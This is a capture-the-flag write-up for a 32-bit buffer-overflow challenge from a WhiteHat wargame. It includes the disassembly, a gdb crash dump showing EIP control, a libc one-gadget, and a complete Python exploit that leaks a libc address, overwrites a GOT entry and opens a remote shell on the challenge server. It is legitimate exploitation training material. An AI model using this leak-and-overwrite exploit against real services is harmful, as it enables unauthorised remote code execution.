We're given a 32-bit binary and a copy of libc.so.6 used on the target. A disassembly of the binary showed an obvious buffer overflow:
int sub_804863D()
{
size_t v0; // eax@1
int buf; // [sp+10h] [bp-80h]@1
memset(&buf, 0, 128u);
read(0, &buf, 1024u);
v0 = strlen((const char *)&buf);
write(0, &buf, v0);
return 0;
}
A buffer of 128 bytes is zeroed out using memset, and then the binary reads 1024 bytes of data into it. The read data is then printed out to the user. The only defenses built into the binary was NX, and we assumed the target had ASLR enabled.
If we input 144 bytes, we overwrite EIP.
koji@pwnbox32:~/Desktop/pwn002$ python -c 'print "A"*140 + "B"*4' > in.txt
koji@pwnbox32:~/Desktop/pwn002$ ./pwn200 < in.txt
Segmentation fault (core dumped)
koji@pwnbox32:~/Desktop/pwn002$ gdb -batch -c core -n -ex 'p $eip'
[New LWP 2848]
Core was generated by `./pwn200'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
$1 = (void (*)()) 0x42424242
All that was left was to figure out where to return to. Since we already had a copy of the target's libc, I decided to search for a one-gadget RCE that would essentially execute execve("/bin/sh"). Using IDA, I found one such instance:
.text:0003FB8F mov eax, ds:(environ_ptr_0 - 1A7000h)[ebx]
.text:0003FB95 mov ds:(dword_1A8620 - 1A7000h)[ebx], 0
.text:0003FB9F mov ds:(dword_1A8624 - 1A7000h)[ebx], 0
.text:0003FBA9 mov eax, [eax]
.text:0003FBAB mov [esp+16Ch+var_164], eax
.text:0003FBAF lea eax, [esp+16Ch+var_138]
.text:0003FBB3 mov [esp+16Ch+var_168], eax
.text:0003FBB7 lea eax, (aBinSh - 1A7000h)[ebx] ; "/bin/sh"
.text:0003FBBD mov [esp+16Ch+status], eax
.text:0003FBC0 call execve
Great, all we needed to do now was leak libc's base address, and we were good to go. Barrebas took care of that.
When I entered this CTF, the guys had already made quite some progress. They figured out they could leak memory by returning to write()
. Superkojiman had found the one-gadget RCE address. All I had to do was leak a GOT pointer using write
, apply the right offset and have the binary read
in that new address into a GOT pointer. Finally, return to a PLT entry to jump to the one-gadget RCE & enjoy the shell!
from socket import *
import struct, telnetlib, re, sys, time
def readtil(delim):
buf = b''
while not delim in buf:
buf += s.recv(1)
return buf
def sendln(b):
s.send(b + b'\n')
def sendbin(b):
s.sendall(b)
def p(x):
return struct.pack('<L', x & 0xffffffff)
def pwn():
global s
s=socket(AF_INET, SOCK_STREAM)
# s.connect(('localhost', 6666))
s.connect(('lab33.wargame.whitehat.vn', 10200))
payload = ""
payload += "A"*140
write = 0x80484e0 # plt entry of write
read = 0x8048520 # plt entry of read
pop3ret = 0x804876d #
payload += p(write) # first leak a libc address
payload += p(pop3ret)
payload += p(1) # fd = stdout
payload += p(0x804a020) # got pointer of libc_start_main
payload += p(4) # count
payload += p(read) # have the binary read in the new address
payload += p(0x8048500) # plt entry of libc_start_main; will be overwritten with address of RCE gadget
payload += p(0) # fd = stdin
payload += p(0x804a020) # got pointer of libc_start_main
payload += p(4) # read in 4 bytes
s.send(payload)
data = s.recv(len(payload)) # first, receive our input echoed back to us
data = s.recv(4) # this contains the libc_start_main address
libc_start_main = struct.unpack('I', data)[0]
# apply some offsets, really helps to have libc.so.6 available to us
print "[+] Leaked libc_start_main: " + hex(libc_start_main)
libc_rce = libc_start_main - 0x19970 + 0x3FB8F
print "[+] Calced libc_rce: " + hex(libc_rce)
# over on the server side, the binary should be waiting at our read() call
time.sleep(0.1)
s.send(p(libc_rce))
print "[+] Enjoy your shell!"
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
pwn()
And running it versus the remote server:
bas@tritonal:~/tmp/wh/pwn200$ python poc1.py
[+] Leaked libc_start_main: 0xf74d1970
[+] Calced libc_rce: 0xf74f7b8f
[+] Enjoy your shell!
id
uid=1003 gid=1003
cat /home/*/flag
WhiteHat{bccd54b76eaa8891d8704b3d194bfeb284d1e7c2}
Great team effort!